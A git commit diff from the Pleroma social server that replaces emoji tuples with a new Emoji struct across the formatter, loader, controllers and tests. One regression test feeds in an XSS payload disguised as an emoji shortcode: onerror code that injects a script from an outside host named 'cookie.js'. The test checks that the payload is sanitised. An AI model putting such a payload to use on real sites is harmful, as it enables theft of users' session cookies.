added Emoji struct

This commit is contained in:
Maksim Pechnikov 2019-08-31 10:14:53 +03:00
parent d8098d142a
commit 6ef0103ca0
8 changed files with 47 additions and 31 deletions

View file

@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do
{:read_concurrency, true}
]
defstruct [:code, :file, :tags, :safe_code, :safe_file]
@doc "Build emoji struct"
def build({code, file, tags}) do
%__MODULE__{
code: code,
file: file,
tags: tags,
safe_code: Pleroma.HTML.strip_tags(code),
safe_file: Pleroma.HTML.strip_tags(file)
}
end
def build({code, file}), do: build({code, file, []})
@doc false
def start_link(_) do
GenServer.start_link(__MODULE__, [], name: __MODULE__)

View file

@ -15,12 +15,12 @@ def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
{_, _, _, emoji, file}, text ->
{_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
{unsafe_emoji, unsafe_file}, text ->
emoji = HTML.strip_tags(unsafe_emoji)
file = HTML.strip_tags(unsafe_file)
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
@ -40,7 +40,7 @@ def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
String.contains?(text, ":#{emoji}:")
end)
end
@ -50,7 +50,7 @@ def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
|> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end

View file

@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
"""
alias Pleroma.Config
alias Pleroma.Emoji
require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
@type emoji :: {String.t(), String.t(), list(String.t())}
@type emoji :: {String.t(), Emoji.t()}
@doc """
Loads emojis from files/packs.
@ -81,15 +82,7 @@ def load do
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
end
defp prepare_emoji({code, file, tags} = _emoji) do
{
code,
file,
tags,
Pleroma.HTML.strip_tags(code),
Pleroma.HTML.strip_tags(file)
}
end
defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)

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@ -436,7 +436,7 @@ def confirm_current_password(user, password) do
def emoji_from_profile(%{info: _info} = user) do
(Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _, _, _} ->
|> Enum.map(fn {shortcode, %Emoji{file: url}} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},

View file

@ -331,7 +331,7 @@ def peers(conn, _params) do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
|> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
|> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{

View file

@ -239,11 +239,9 @@ def version(conn, _params) do
def emoji(conn, _params) do
emoji =
Emoji.get_all()
|> Enum.map(fn {short_code, path, tags, _, _} ->
{short_code, %{image_url: path, tags: tags}}
Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
Map.put(acc, code, %{image_url: file, tags: tags})
end)
|> Enum.into(%{})
json(conn, emoji)
end

View file

@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
@ -20,15 +21,17 @@ test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
custom_emoji =
{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
}
}
|> Pleroma.Emoji.build()
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
end
end
@ -37,7 +40,14 @@ test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
{"firefox",
%Emoji{
code: "firefox",
file: "/emoji/Firefox.gif",
tags: ["Gif", "Fun"],
safe_code: "firefox",
safe_file: "/emoji/Firefox.gif"
}}
]
end

View file

@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
{code, path, tags, _, _} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 5
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
{code, path, tags, _, _} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 5
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)